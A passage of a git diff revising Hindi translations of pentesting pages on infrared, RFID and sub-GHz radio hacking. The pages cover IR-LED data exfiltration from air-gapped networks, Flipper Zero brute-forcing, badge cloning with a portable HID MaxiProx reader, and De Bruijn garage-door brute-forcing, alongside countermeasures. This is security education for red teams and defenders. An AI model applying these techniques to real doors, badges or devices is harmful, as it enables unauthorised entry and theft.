जिसमें एक सैमसंग मॉडल ISO/IEC 27001 अनुपालन का दावा करता है — को कमजोर पाया गया। शमन के लिए विक्रेता फर्मवेयर फिक्स या अप्रयुक्त IR रिसीवर्स को पूरी तरह से बंद करने की आवश्यकता होती है। ### Air-Gapped Data Exfiltration via IR LEDs (aIR-Jumper family) सुरक्षा कैमरे, राउटर या यहां तक कि दुर्भावनापूर्ण USB स्टिक अक्सर **नाइट-विज़न IR LEDs** शामिल करते हैं। अनुसंधान से पता चलता है कि मैलवेयर इन LEDs को मॉड्यूलेट कर सकता है (<10–20 kbit/s सरल OOK के साथ) ताकि **दीवारों और खिड़कियों के माध्यम से रहस्यों को बाहर निकाला जा सके** एक बाहरी कैमरे में जो कई मीटर दूर रखा गया है। चूंकि प्रकाश दृश्य स्पेक्ट्रम के बाहर है, ऑपरेटर अक्सर इसे नहीं देखते हैं। प्रतिकूल उपाय: -* संवेदनशील क्षेत्रों में IR LEDs को शारीरिक रूप से ढकें या हटा दें +* संवेदनशील क्षेत्रों में IR LEDs को भौतिक रूप से ढकें या हटा दें * कैमरा LED ड्यूटी-चक्र और फर्मवेयर अखंडता की निगरानी करें * खिड़कियों और निगरानी कैमरों पर IR-कट फ़िल्टर लागू करें @@ -92,7 +92,7 @@ flipper-zero/fz-infrared.md ### Long-Range Brute-Force & Extended Protocols with Flipper Zero 1.0 -फर्मवेयर 1.0 (सितंबर 2024) ने **अतिरिक्त IR प्रोटोकॉल और वैकल्पिक बाहरी एम्प्लीफायर मॉड्यूल** जोड़े। सार्वभौमिक-रिमोट ब्रूट-फोर्स मोड के साथ मिलकर, एक Flipper अधिकांश सार्वजनिक टीवी/ACs को 30 मीटर की दूरी से उच्च-शक्ति डायोड का उपयोग करके बंद या पुनः कॉन्फ़िगर कर सकता है। +फर्मवेयर 1.0 (सितंबर 2024) ने **अतिरिक्त IR प्रोटोकॉल और वैकल्पिक बाहरी एम्प्लीफायर मॉड्यूल** जोड़े। सार्वभौमिक-रिमोट ब्रूट-फोर्स मोड के साथ मिलकर, एक Flipper अधिकांश सार्वजनिक टीवी/AC को 30 मीटर की दूरी से उच्च-शक्ति डायोड का उपयोग करके बंद या पुनः कॉन्फ़िगर कर सकता है। --- @@ -100,7 +100,7 @@ flipper-zero/fz-infrared.md ### Hardware -* **Flipper Zero** – पोर्टेबल ट्रांससीवर जिसमें लर्निंग, रिप्ले और डिक्शनरी-ब्रूटफोर्स मोड हैं (ऊपर देखें)। +* **Flipper Zero** – पोर्टेबल ट्रांससीवर जिसमें लर्निंग, रिप्ले और डिक्शनरी-ब्रूटफोर्स मोड होते हैं (ऊपर देखें)। * **Arduino / ESP32** + IR LED / TSOP38xx रिसीवर – सस्ता DIY विश्लेषक/प्रसारक। `Arduino-IRremote` लाइब्रेरी के साथ संयोजन करें (v4.x >40 प्रोटोकॉल का समर्थन करता है)। * **लॉजिक एनालाइज़र** (Saleae/FX2) – जब प्रोटोकॉल अज्ञात हो तो कच्चे समय को कैप्चर करें। * **IR-ब्लास्टर वाले स्मार्टफोन** (जैसे, Xiaomi) – त्वरित फील्ड परीक्षण लेकिन सीमित रेंज। @@ -131,7 +131,7 @@ irsend SEND_ONCE samsung KEY_POWER * जब आवश्यक न हो, तो सार्वजनिक स्थानों में तैनात उपकरणों पर IR रिसीवर्स को बंद या कवर करें। * स्मार्ट-टीवी और रिमोट के बीच *पैरिंग* या क्रिप्टोग्राफिक जांच लागू करें; विशेषाधिकार प्राप्त "सेवा" कोड को अलग करें। * वर्गीकृत क्षेत्रों के चारों ओर IR-कट फ़िल्टर या निरंतर-तरंग डिटेक्टर्स लागू करें ताकि ऑप्टिकल गुप्त चैनलों को तोड़ा जा सके। -* नियंत्रित IR LEDs को उजागर करने वाले कैमरों/IoT उपकरणों की फर्मवेयर अखंडता की निगरानी करें। +* नियंत्रित IR LEDs को उजागर करने वाले कैमरों/IoT उपकरणों के फर्मवेयर अखंडता की निगरानी करें। ## References diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index e6e0971a2..00e77e2a8 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -4,28 +4,28 @@ ## Introduction -**रेडियो फ़्रीक्वेंसी पहचान (RFID)** सबसे लोकप्रिय शॉर्ट-रेंज रेडियो समाधान है। इसका उपयोग आमतौर पर किसी इकाई की पहचान करने वाली जानकारी को संग्रहीत और प्रसारित करने के लिए किया जाता है। +**रेडियो फ़्रीक्वेंसी पहचान (RFID)** सबसे लोकप्रिय शॉर्ट-रेंज रेडियो समाधान है। इसका उपयोग आमतौर पर किसी इकाई की पहचान करने वाली जानकारी को स्टोर और ट्रांसमिट करने के लिए किया जाता है। -एक RFID टैग **अपनी खुद की शक्ति स्रोत (सक्रिय)** पर निर्भर कर सकता है, जैसे कि एक एम्बेडेड बैटरी, या प्राप्त रेडियो तरंगों से **उत्पन्न वर्तमान** से अपनी शक्ति प्राप्त कर सकता है (**निष्क्रिय**)। +एक RFID टैग **अपनी खुद की पावर स्रोत (सक्रिय)** पर निर्भर कर सकता है, जैसे कि एक एम्बेडेड बैटरी, या पढ़ने वाली एंटीना से **प्राप्त रेडियो तरंगों से प्रेरित वर्तमान** से अपनी शक्ति प्राप्त कर सकता है (**निष्क्रिय**)। ### Classes EPCglobal RFID टैग को छह श्रेणियों में विभाजित करता है। प्रत्येक श्रेणी में एक टैग में पिछले श्रेणी में सूचीबद्ध सभी क्षमताएँ होती हैं, जिससे यह पीछे की ओर संगत होता है। -- **क्लास 0** टैग **निष्क्रिय** टैग होते हैं जो **UHF** बैंड में काम करते हैं। विक्रेता इन्हें उत्पादन कारखाने में **पूर्व-प्रोग्राम** करता है। परिणामस्वरूप, आप **उनकी मेमोरी में संग्रहीत जानकारी को बदल नहीं सकते**। -- **क्लास 1** टैग भी **HF** बैंड में काम कर सकते हैं। इसके अलावा, इन्हें उत्पादन के बाद **केवल एक बार लिखा जा सकता है**। कई क्लास 1 टैग भी प्राप्त आदेशों के **चक्रवृद्धि अधिशेष जांच** (CRCs) को संसाधित कर सकते हैं। CRCs आदेशों के अंत में त्रुटि पहचान के लिए कुछ अतिरिक्त बाइट होते हैं। +- **क्लास 0** टैग **निष्क्रिय** टैग होते हैं जो **UHF** बैंड में काम करते हैं। विक्रेता इन्हें उत्पादन फैक्ट्री में **पूर्व-प्रोग्राम** करता है। परिणामस्वरूप, आप **उनकी मेमोरी में स्टोर की गई जानकारी को नहीं बदल सकते**। +- **क्लास 1** टैग भी **HF** बैंड में काम कर सकते हैं। इसके अलावा, इन्हें उत्पादन के बाद **केवल एक बार लिखा जा सकता है**। कई क्लास 1 टैग भी प्राप्त किए गए आदेशों के **साइक्लिक रेडंडेंसी चेक** (CRCs) को प्रोसेस कर सकते हैं। CRCs आदेशों के अंत में त्रुटि पहचान के लिए कुछ अतिरिक्त बाइट्स होते हैं। - **क्लास 2** टैग को **कई बार लिखा जा सकता है**। -- **क्लास 3** टैग में **एम्बेडेड सेंसर** हो सकते हैं जो पर्यावरणीय मापदंडों को रिकॉर्ड कर सकते हैं, जैसे वर्तमान तापमान या टैग की गति। ये टैग **सेमी-पैसिव** होते हैं, क्योंकि हालांकि इनमें एक एम्बेडेड शक्ति स्रोत होता है, जैसे एक एकीकृत **बैटरी**, वे अन्य टैग या रीडर्स के साथ वायरलेस **संवाद** **शुरू नहीं कर सकते**। +- **क्लास 3** टैग में **एंबेडेड सेंसर** हो सकते हैं जो पर्यावरणीय मापदंडों को रिकॉर्ड कर सकते हैं, जैसे वर्तमान तापमान या टैग की गति। ये टैग **सेमी-पैसिव** होते हैं, क्योंकि हालांकि इनमें एक एम्बेडेड पावर स्रोत होता है, जैसे एक एकीकृत **बैटरी**, वे अन्य टैग या रीडर्स के साथ वायरलेस **संवाद** शुरू नहीं कर सकते। - **क्लास 4** टैग समान श्रेणी के अन्य टैग के साथ संवाद शुरू कर सकते हैं, जिससे वे **सक्रिय टैग** बन जाते हैं। - **क्लास 5** टैग अन्य टैग को **शक्ति प्रदान कर सकते हैं और सभी पिछले टैग** श्रेणियों के साथ संवाद कर सकते हैं। क्लास 5 टैग **RFID रीडर्स** के रूप में कार्य कर सकते हैं। ### Information Stored in RFID Tags -एक RFID टैग की मेमोरी आमतौर पर चार प्रकार के डेटा संग्रहीत करती है: **पहचान डेटा**, जो उस **इकाई** की पहचान करता है जिससे टैग जुड़ा होता है (इस डेटा में उपयोगकर्ता-परिभाषित फ़ील्ड होते हैं, जैसे बैंक खाते); **पूरक डेटा**, जो इकाई के बारे में **अधिक** **विवरण** प्रदान करता है; **नियंत्रण डेटा**, जो टैग की आंतरिक **कॉन्फ़िगरेशन** के लिए उपयोग किया जाता है; और टैग का **निर्माता डेटा**, जिसमें टैग का यूनिक आइडेंटिफायर (**UID**) और टैग के **उत्पादन**, **प्रकार**, और **विक्रेता** के बारे में विवरण होता है। आप पहले दो प्रकार के डेटा सभी व्यावसायिक टैग में पाएंगे; अंतिम दो टैग के विक्रेता के आधार पर भिन्न हो सकते हैं। +एक RFID टैग की मेमोरी आमतौर पर चार प्रकार के डेटा को स्टोर करती है: **पहचान डेटा**, जो उस **इकाई** की पहचान करता है जिस पर टैग लगा होता है (इस डेटा में उपयोगकर्ता-परिभाषित फ़ील्ड शामिल होते हैं, जैसे बैंक खाते); **पूरक डेटा**, जो इकाई के बारे में **अधिक** **विवरण** प्रदान करता है; **नियंत्रण डेटा**, जो टैग की आंतरिक **कॉन्फ़िगरेशन** के लिए उपयोग किया जाता है; और टैग का **निर्माता डेटा**, जिसमें टैग का यूनिक आइडेंटिफायर (**UID**) और टैग के **उत्पादन**, **प्रकार**, और **विक्रेता** के बारे में विवरण होता है। आप पहले दो प्रकार के डेटा सभी व्यावसायिक टैग में पाएंगे; अंतिम दो टैग के विक्रेता के आधार पर भिन्न हो सकते हैं। -ISO मानक एप्लिकेशन फैमिली आइडेंटिफायर (**AFI**) मान को निर्दिष्ट करता है, जो एक कोड है जो टैग जिस **प्रकार की वस्तु** से संबंधित है उसे इंगित करता है। एक अन्य महत्वपूर्ण रजिस्टर, जिसे ISO द्वारा भी निर्दिष्ट किया गया है, वह है डेटा स्टोरेज फॉर्मेट आइडेंटिफायर (**DSFID**), जो **उपयोगकर्ता डेटा** के तार्किक संगठन को परिभाषित करता है। +ISO मानक एप्लिकेशन फैमिली आइडेंटिफायर (**AFI**) मान को निर्दिष्ट करता है, जो एक कोड है जो टैग जिस **वस्तु** से संबंधित है उसे इंगित करता है। एक अन्य महत्वपूर्ण रजिस्टर, जिसे ISO द्वारा भी निर्दिष्ट किया गया है, डेटा स्टोरेज फॉर्मेट आइडेंटिफायर (**DSFID**) है, जो **उपयोगकर्ता डेटा** के तार्किक संगठन को परिभाषित करता है। -अधिकांश RFID **सुरक्षा नियंत्रण** में ऐसे तंत्र होते हैं जो प्रत्येक उपयोगकर्ता मेमोरी ब्लॉक और AFI और DSFID मानों को समाहित करने वाले विशेष रजिस्टरों पर **पढ़ने** या **लिखने** के संचालन को **सीमित** करते हैं। ये **लॉक** **तंत्र** नियंत्रण मेमोरी में संग्रहीत डेटा का उपयोग करते हैं और विक्रेता द्वारा पूर्व-निर्धारित **डिफ़ॉल्ट पासवर्ड** होते हैं लेकिन टैग मालिकों को **कस्टम पासवर्ड** कॉन्फ़िगर करने की अनुमति देते हैं। +अधिकांश RFID **सुरक्षा नियंत्रण** में ऐसे तंत्र होते हैं जो प्रत्येक उपयोगकर्ता मेमोरी ब्लॉक और AFI और DSFID मानों को समाहित करने वाले विशेष रजिस्टरों पर **पढ़ने** या **लिखने** के संचालन को **सीमित** करते हैं। ये **लॉक** **तंत्र** नियंत्रण मेमोरी में स्टोर किए गए डेटा का उपयोग करते हैं और विक्रेता द्वारा पूर्व-निर्धारित **डिफ़ॉल्ट पासवर्ड** होते हैं लेकिन टैग मालिकों को **कस्टम पासवर्ड** कॉन्फ़िगर करने की अनुमति देते हैं। ### Low & High frequency tags comparison @@ -33,17 +33,17 @@ ISO मानक एप्लिकेशन फैमिली आइडें ## Low-Frequency RFID Tags (125kHz) -**लो-फ्रीक्वेंसी टैग** अक्सर उन प्रणालियों में उपयोग किए जाते हैं जो **उच्च सुरक्षा** की आवश्यकता नहीं होती: भवन की पहुंच, इंटरकॉम कुंजी, जिम सदस्यता कार्ड, आदि। उनकी उच्च रेंज के कारण, इन्हें भुगतान की गई कार पार्किंग के लिए उपयोग करना सुविधाजनक होता है: चालक को कार्ड को रीडर के करीब लाने की आवश्यकता नहीं होती, क्योंकि इसे दूर से सक्रिय किया जाता है। साथ ही, लो-फ्रीक्वेंसी टैग बहुत प्राइमिटिव होते हैं, इनकी डेटा ट्रांसफर दर कम होती है। इस कारण, जटिल दो-तरफा डेटा ट्रांसफर को लागू करना असंभव है, जैसे कि बैलेंस बनाए रखना और क्रिप्टोग्राफी। लो-फ्रीक्वेंसी टैग केवल अपनी छोटी ID को बिना किसी प्रमाणीकरण के प्रसारित करते हैं। +**लो-फ्रीक्वेंसी टैग** अक्सर उन सिस्टम में उपयोग किए जाते हैं जो **उच्च सुरक्षा की आवश्यकता नहीं होती**: भवन की पहुंच, इंटरकॉम कुंजी, जिम सदस्यता कार्ड, आदि। उनकी उच्च रेंज के कारण, इन्हें भुगतान की गई कार पार्किंग के लिए उपयोग करना सुविधाजनक होता है: चालक को कार्ड को रीडर के करीब लाने की आवश्यकता नहीं होती, क्योंकि इसे दूर से सक्रिय किया जाता है। साथ ही, लो-फ्रीक्वेंसी टैग बहुत प्राइमिटिव होते हैं, इनकी डेटा ट्रांसफर दर कम होती है। इस कारण, जटिल दो-तरफा डेटा ट्रांसफर को लागू करना असंभव है, जैसे कि बैलेंस बनाए रखना और क्रिप्टोग्राफी। लो-फ्रीक्वेंसी टैग केवल अपनी छोटी ID को बिना किसी प्रमाणीकरण के ट्रांसमिट करते हैं। ये उपकरण **निष्क्रिय** **RFID** तकनीक पर निर्भर करते हैं और **30 kHz से 300 kHz** की रेंज में काम करते हैं, हालांकि 125 kHz से 134 kHz का उपयोग करना अधिक सामान्य है: - **लॉन्ग रेंज** — कम फ़्रीक्वेंसी उच्च रेंज में परिवर्तित होती है। कुछ EM-Marin और HID रीडर्स हैं, जो एक मीटर की दूरी से काम करते हैं। इनका अक्सर कार पार्किंग में उपयोग किया जाता है। -- **प्राइमिटिव प्रोटोकॉल** — डेटा ट्रांसफर दर कम होने के कारण ये टैग केवल अपनी छोटी ID को प्रसारित कर सकते हैं। अधिकांश मामलों में, डेटा को प्रमाणीकरण नहीं किया जाता है और इसे किसी भी तरह से सुरक्षित नहीं किया जाता है। जैसे ही कार्ड रीडर की रेंज में होता है, यह बस अपनी ID को प्रसारित करना शुरू कर देता है। +- **प्राइमिटिव प्रोटोकॉल** — डेटा ट्रांसफर दर कम होने के कारण ये टैग केवल अपनी छोटी ID को ट्रांसमिट कर सकते हैं। अधिकांश मामलों में, डेटा को प्रमाणीकरण नहीं किया जाता है और इसे किसी भी तरह से सुरक्षित नहीं किया जाता है। जैसे ही कार्ड रीडर की रेंज में आता है, यह बस अपनी ID ट्रांसमिट करना शुरू कर देता है। - **कम सुरक्षा** — इन कार्डों को आसानी से कॉपी किया जा सकता है, या यहां तक कि किसी और की जेब से पढ़ा जा सकता है, क्योंकि प्रोटोकॉल प्राइमिटिव है। **लोकप्रिय 125 kHz प्रोटोकॉल:** -- **EM-Marin** — EM4100, EM4102। CIS में सबसे लोकप्रिय प्रोटोकॉल। इसकी सरलता और स्थिरता के कारण लगभग एक मीटर की दूरी से पढ़ा जा सकता है। +- **EM-Marin** — EM4100, EM4102। CIS में सबसे लोकप्रिय प्रोटोकॉल। इसकी सरलता और स्थिरता के कारण लगभग एक मीटर से पढ़ा जा सकता है। - **HID Prox II** — HID Global द्वारा पेश किया गया लो-फ्रीक्वेंसी प्रोटोकॉल। यह प्रोटोकॉल पश्चिमी देशों में अधिक लोकप्रिय है। यह अधिक जटिल है और इस प्रोटोकॉल के लिए कार्ड और रीडर्स अपेक्षाकृत महंगे हैं। - **Indala** — बहुत पुराना लो-फ्रीक्वेंसी प्रोटोकॉल जो Motorola द्वारा पेश किया गया था, और बाद में HID द्वारा अधिग्रहित किया गया। आप इसे पिछले दो की तुलना में कम ही पाएंगे क्योंकि इसका उपयोग कम हो रहा है। @@ -51,7 +51,8 @@ ISO मानक एप्लिकेशन फैमिली आइडें ### Attack -आप **इन टैग्स पर Flipper Zero के साथ हमला कर सकते हैं**: +You can **attack these Tags with the Flipper Zero**: + {{#ref}} flipper-zero/fz-125khz-rfid.md @@ -66,27 +67,29 @@ flipper-zero/fz-125khz-rfid.md
-साधारण शब्दों में, NFC की आर्किटेक्चर इस तरह काम करती है: ट्रांसमिशन प्रोटोकॉल उस कंपनी द्वारा चुना जाता है जो कार्ड बनाती है और इसे निम्न-स्तरीय ISO 14443 के आधार पर लागू किया जाता है। उदाहरण के लिए, NXP ने अपने स्वयं के उच्च-स्तरीय ट्रांसमिशन प्रोटोकॉल को Mifare कहा। लेकिन निम्न स्तर पर, Mifare कार्ड ISO 14443-A मानक पर आधारित होते हैं। +साधारण शब्दों में, NFC की आर्किटेक्चर इस तरह काम करती है: ट्रांसमिशन प्रोटोकॉल उस कंपनी द्वारा चुना जाता है जो कार्ड बनाती है और इसे निम्न-स्तरीय ISO 14443 के आधार पर लागू किया जाता है। उदाहरण के लिए, NXP ने एक उच्च-स्तरीय ट्रांसमिशन प्रोटोकॉल का आविष्कार किया जिसे Mifare कहा जाता है। लेकिन निम्न स्तर पर, Mifare कार्ड ISO 14443-A मानक पर आधारित होते हैं। Flipper निम्न-स्तरीय ISO 14443 प्रोटोकॉल के साथ-साथ Mifare Ultralight डेटा ट्रांसफर प्रोटोकॉल और बैंक कार्ड में उपयोग किए जाने वाले EMV के साथ इंटरैक्ट कर सकता है। हम Mifare Classic और NFC NDEF के लिए समर्थन जोड़ने पर काम कर रहे हैं। NFC के निर्माण करने वाले प्रोटोकॉल और मानकों पर एक गहन नज़र एक अलग लेख के लायक है जिसे हम बाद में प्रकाशित करने की योजना बना रहे हैं। -ISO 14443-A मानक पर आधारित सभी उच्च-फ्रीक्वेंसी कार्ड में एक अद्वितीय चिप ID होती है। यह कार्ड का सीरियल नंबर के रूप में कार्य करता है, जैसे नेटवर्क कार्ड का MAC पता। **आमतौर पर, UID 4 या 7 बाइट लंबा होता है**, लेकिन यह **10** तक भी जा सकता है। UIDs कोई रहस्य नहीं होते हैं और इन्हें आसानी से पढ़ा जा सकता है, **कभी-कभी तो कार्ड पर ही मुद्रित होते हैं**। +ISO 14443-A मानक पर आधारित सभी उच्च-फ्रीक्वेंसी कार्ड में एक अद्वितीय चिप ID होती है। यह कार्ड का सीरियल नंबर के रूप में कार्य करता है, जैसे नेटवर्क कार्ड का MAC पता। **आमतौर पर, UID 4 या 7 बाइट लंबा होता है**, लेकिन यह **10** तक भी जा सकता है। UIDs कोई रहस्य नहीं होते हैं और इन्हें आसानी से पढ़ा जा सकता है, **कभी-कभी तो कार्ड पर ही प्रिंट किया जाता है**। -कई एक्सेस कंट्रोल सिस्टम UID पर **प्रमाणित और पहुंच प्रदान करने** के लिए निर्भर करते हैं। कभी-कभी यह तब भी होता है जब RFID टैग **क्रिप्टोग्राफी** का समर्थन करते हैं। इस तरह का **दुरुपयोग** उन्हें **सुरक्षा** के मामले में बेवकूफ **125 kHz कार्ड** के स्तर तक ले आता है। वर्चुअल कार्ड (जैसे Apple Pay) एक गतिशील UID का उपयोग करते हैं ताकि फोन मालिक अपने भुगतान ऐप के साथ दरवाजे न खोल सकें। +कई एक्सेस कंट्रोल सिस्टम UID पर **प्रमाणित और पहुंच प्रदान करने** के लिए निर्भर करते हैं। कभी-कभी यह तब भी होता है जब RFID टैग **क्रिप्टोग्राफी** का समर्थन करते हैं। ऐसी **दुरुपयोग** उन्हें **125 kHz कार्डों** के स्तर पर ले आता है। वर्चुअल कार्ड (जैसे Apple Pay) एक गतिशील UID का उपयोग करते हैं ताकि फोन मालिक अपने भुगतान ऐप के साथ दरवाजे न खोल सकें। - **कम रेंज** — उच्च-फ्रीक्वेंसी कार्ड विशेष रूप से इस तरह से डिज़ाइन किए गए हैं कि उन्हें रीडर के करीब रखा जाना चाहिए। यह कार्ड को अनधिकृत इंटरैक्शन से भी बचाने में मदद करता है। अधिकतम पढ़ने की रेंज जो हमें प्राप्त करने में सक्षम थी वह लगभग 15 सेमी थी, और वह कस्टम-निर्मित उच्च-रेंज रीडर्स के साथ थी। - **उन्नत प्रोटोकॉल** — डेटा ट्रांसफर की गति 424 kbps तक जटिल प्रोटोकॉल की अनुमति देती है जिसमें पूर्ण-फledged दो-तरफा डेटा ट्रांसफर होता है। जो बदले में **क्रिप्टोग्राफी**, डेटा ट्रांसफर आदि की अनुमति देता है। -- **उच्च सुरक्षा** — उच्च-फ्रीक्वेंसी संपर्क रहित कार्ड स्मार्ट कार्ड के मुकाबले किसी भी तरह से कम नहीं होते हैं। ऐसे कार्ड हैं जो क्रिप्टोग्राफिक रूप से मजबूत एल्गोरिदम जैसे AES का समर्थन करते हैं और विषम क्रिप्टोग्राफी को लागू करते हैं। +- **उच्च सुरक्षा** — उच्च-फ्रीक्वेंसी संपर्क रहित कार्ड स्मार्ट कार्डों के मुकाबले किसी भी तरह से कम नहीं होते हैं। ऐसे कार्ड हैं जो क्रिप्टोग्राफिक रूप से मजबूत एल्गोरिदम जैसे AES का समर्थन करते हैं और विषम क्रिप्टोग्राफी को लागू करते हैं। ### Attack -आप **इन टैग्स पर Flipper Zero के साथ हमला कर सकते हैं**: +You can **attack these Tags with the Flipper Zero**: + {{#ref}} flipper-zero/fz-nfc.md {{#endref}} -या **proxmark** का उपयोग करके: +Or using the **proxmark**: + {{#ref}} proxmark-3.md @@ -94,7 +97,8 @@ proxmark-3.md ### Building a Portable HID MaxiProx 125 kHz Mobile Cloner -यदि आपको **लॉन्ग-रेंज**, **बैटरी-चालित** समाधान की आवश्यकता है ताकि आप रेड-टीम एंगेजमेंट के दौरान HID Prox® बैज को इकट्ठा कर सकें, तो आप दीवार पर लगे **HID MaxiProx 5375** रीडर को एक स्वायत्त क्लोनर में परिवर्तित कर सकते हैं जो एक बैकपैक में फिट हो। पूरा यांत्रिक और इलेक्ट्रिकल वॉक-थ्रू यहाँ उपलब्ध है: +यदि आपको **लॉन्ग-रेंज**, **बैटरी-पावर्ड** समाधान की आवश्यकता है ताकि आप रेड-टीम एंगेजमेंट के दौरान HID Prox® बैज को इकट्ठा कर सकें, तो आप दीवार पर लगे **HID MaxiProx 5375** रीडर को एक स्वायत्त क्लोनर में परिवर्तित कर सकते हैं जो एक बैकपैक में फिट हो। पूरा मैकेनिकल और इलेक्ट्रिकल वॉक-थ्रू यहाँ उपलब्ध है: + {{#ref}} maxiprox-mobile-cloner.md diff --git a/src/todo/radio-hacking/sub-ghz-rf.md b/src/todo/radio-hacking/sub-ghz-rf.md index 700906b7e..e79fc6436 100644 --- a/src/todo/radio-hacking/sub-ghz-rf.md +++ b/src/todo/radio-hacking/sub-ghz-rf.md @@ -4,12 +4,12 @@ ## Garage Doors -गैरेज दरवाजे के ओपनर आमतौर पर 300-190 मेगाहर्ट्ज की आवृत्तियों पर काम करते हैं, जिनमें सबसे सामान्य आवृत्तियाँ 300 मेगाहर्ट्ज, 310 मेगाहर्ट्ज, 315 मेगाहर्ट्ज, और 390 मेगाहर्ट्ज हैं। यह आवृत्ति रेंज गैरेज दरवाजे के ओपनर के लिए सामान्यतः उपयोग की जाती है क्योंकि यह अन्य आवृत्ति बैंड की तुलना में कम भीड़भाड़ वाली होती है और अन्य उपकरणों से हस्तक्षेप का अनुभव करने की संभावना कम होती है। +गैरेज दरवाजे के ओपनर आमतौर पर 300-190 मेगाहर्ट्ज की आवृत्तियों पर काम करते हैं, जिनमें सबसे सामान्य आवृत्तियाँ 300 मेगाहर्ट्ज, 310 मेगाहर्ट्ज, 315 मेगाहर्ट्ज, और 390 मेगाहर्ट्ज हैं। यह आवृत्ति रेंज गैरेज दरवाजे के ओपनर के लिए आमतौर पर उपयोग की जाती है क्योंकि यह अन्य आवृत्ति बैंड की तुलना में कम भीड़भाड़ वाली होती है और अन्य उपकरणों से हस्तक्षेप का अनुभव करने की संभावना कम होती है। ## Car Doors -अधिकांश कार की चाबी के फॉब्स **315 मेगाहर्ट्ज या 433 मेगाहर्ट्ज** पर काम करते हैं। ये दोनों रेडियो आवृत्तियाँ हैं, और इन्हें विभिन्न अनुप्रयोगों में उपयोग किया जाता है। दोनों आवृत्तियों के बीच मुख्य अंतर यह है कि 433 मेगाहर्ट्ज की रेंज 315 मेगाहर्ट्ज से लंबी होती है। इसका मतलब है कि 433 मेगाहर्ट्ज उन अनुप्रयोगों के लिए बेहतर है जिन्हें लंबी रेंज की आवश्यकता होती है, जैसे कि रिमोट कीलेस एंट्री।\ -यूरोप में 433.92 मेगाहर्ट्ज सामान्यतः उपयोग किया जाता है और अमेरिका और जापान में यह 315 मेगाहर्ट्ज है। +अधिकांश कार की चाबी फॉब्स **315 मेगाहर्ट्ज या 433 मेगाहर्ट्ज** पर काम करते हैं। ये दोनों रेडियो आवृत्तियाँ हैं, और इन्हें विभिन्न अनुप्रयोगों में उपयोग किया जाता है। दोनों आवृत्तियों के बीच मुख्य अंतर यह है कि 433 मेगाहर्ट्ज की रेंज 315 मेगाहर्ट्ज से लंबी होती है। इसका मतलब है कि 433 मेगाहर्ट्ज उन अनुप्रयोगों के लिए बेहतर है जिन्हें लंबी रेंज की आवश्यकता होती है, जैसे कि रिमोट कीलेस एंट्री।\ +यूरोप में 433.92 मेगाहर्ट्ज का सामान्य उपयोग होता है और अमेरिका और जापान में यह 315 मेगाहर्ट्ज है। ## **Brute-force Attack** @@ -19,7 +19,7 @@
-और यदि आप **सिग्नल के बीच 2 मिलीसेकंड की प्रतीक्षा** अवधि को **हटा** देते हैं तो आप **समय को 3 मिनट तक कम कर सकते हैं।** +और यदि आप **सिग्नल के बीच 2 मिलीसेकंड की प्रतीक्षा** अवधि को **हटा** देते हैं, तो आप **समय को 3 मिनट तक कम कर सकते हैं।** इसके अलावा, De Bruijn Sequence का उपयोग करके (एक तरीका जो सभी संभावित बाइनरी नंबरों को ब्रूटफोर्स करने के लिए भेजने के लिए आवश्यक बिट्स की संख्या को कम करता है) यह **समय केवल 8 सेकंड तक कम हो जाता है**: @@ -27,11 +27,12 @@ इस हमले का उदाहरण [https://github.com/samyk/opensesame](https://github.com/samyk/opensesame) में लागू किया गया था। -**एक प्रीएंबल की आवश्यकता De Bruijn Sequence** ऑप्टिमाइजेशन से बचाएगी और **रोलिंग कोड इस हमले को रोकेंगे** (मानते हुए कि कोड इतना लंबा है कि इसे ब्रूटफोर्स नहीं किया जा सकता)। +**एक प्रीएंबल की आवश्यकता De Bruijn Sequence** ऑप्टिमाइजेशन से बचाएगी और **रोलिंग कोड इस हमले को रोक देगा** (मानते हुए कि कोड इतना लंबा है कि इसे ब्रूटफोर्स नहीं किया जा सकता)। ## Sub-GHz Attack -इन सिग्नल पर हमला करने के लिए Flipper Zero की जांच करें: +इन सिग्नल पर Flipper Zero के साथ हमला करने के लिए जांचें: + {{#ref}} flipper-zero/fz-sub-ghz.md @@ -39,13 +40,13 @@ flipper-zero/fz-sub-ghz.md ## Rolling Codes Protection -स्वचालित गैरेज दरवाजे के ओपनर आमतौर पर गैरेज दरवाजे को खोलने और बंद करने के लिए एक वायरलेस रिमोट कंट्रोल का उपयोग करते हैं। रिमोट कंट्रोल **गैरेज दरवाजे के ओपनर को एक रेडियो आवृत्ति (RF) सिग्नल** भेजता है, जो दरवाजे को खोलने या बंद करने के लिए मोटर को सक्रिय करता है। +स्वचालित गैरेज दरवाजे के ओपनर आमतौर पर गैरेज दरवाजे को खोलने और बंद करने के लिए एक वायरलेस रिमोट कंट्रोल का उपयोग करते हैं। रिमोट कंट्रोल **गैरेज दरवाजे के ओपनर** को एक रेडियो आवृत्ति (RF) सिग्नल भेजता है, जो दरवाजे को खोलने या बंद करने के लिए मोटर को सक्रिय करता है। -किसी के लिए RF सिग्नल को इंटरसेप्ट करने और इसे बाद में उपयोग के लिए रिकॉर्ड करने के लिए एक डिवाइस का उपयोग करना संभव है, जिसे **रिप्ले अटैक** के रूप में जाना जाता है। इस प्रकार के हमले को रोकने के लिए, कई आधुनिक गैरेज दरवाजे के ओपनर एक अधिक सुरक्षित एन्क्रिप्शन विधि का उपयोग करते हैं जिसे **रोलिंग कोड** प्रणाली के रूप में जाना जाता है। +किसी के लिए RF सिग्नल को इंटरसेप्ट करने और इसे बाद में उपयोग के लिए रिकॉर्ड करने के लिए एक डिवाइस का उपयोग करना संभव है, जिसे **रिप्ले अटैक** कहा जाता है। इस प्रकार के हमले को रोकने के लिए, कई आधुनिक गैरेज दरवाजे के ओपनर एक अधिक सुरक्षित एन्क्रिप्शन विधि का उपयोग करते हैं जिसे **रोलिंग कोड** प्रणाली कहा जाता है। -**RF सिग्नल आमतौर पर एक रोलिंग कोड का उपयोग करके प्रसारित किया जाता है**, जिसका अर्थ है कि कोड हर उपयोग के साथ बदलता है। यह किसी के लिए सिग्नल को **इंटरसेप्ट** करना और गैरेज में **अनधिकृत** पहुंच प्राप्त करने के लिए **उसे उपयोग** करना **कठिन** बनाता है। +**RF सिग्नल आमतौर पर एक रोलिंग कोड का उपयोग करके प्रसारित किया जाता है**, जिसका अर्थ है कि कोड हर उपयोग के साथ बदलता है। यह किसी के लिए सिग्नल को **इंटरसेप्ट** करना और गैरेज में **अनधिकृत** पहुंच प्राप्त करने के लिए **उसे उपयोग करना** **कठिन** बनाता है। -रोलिंग कोड 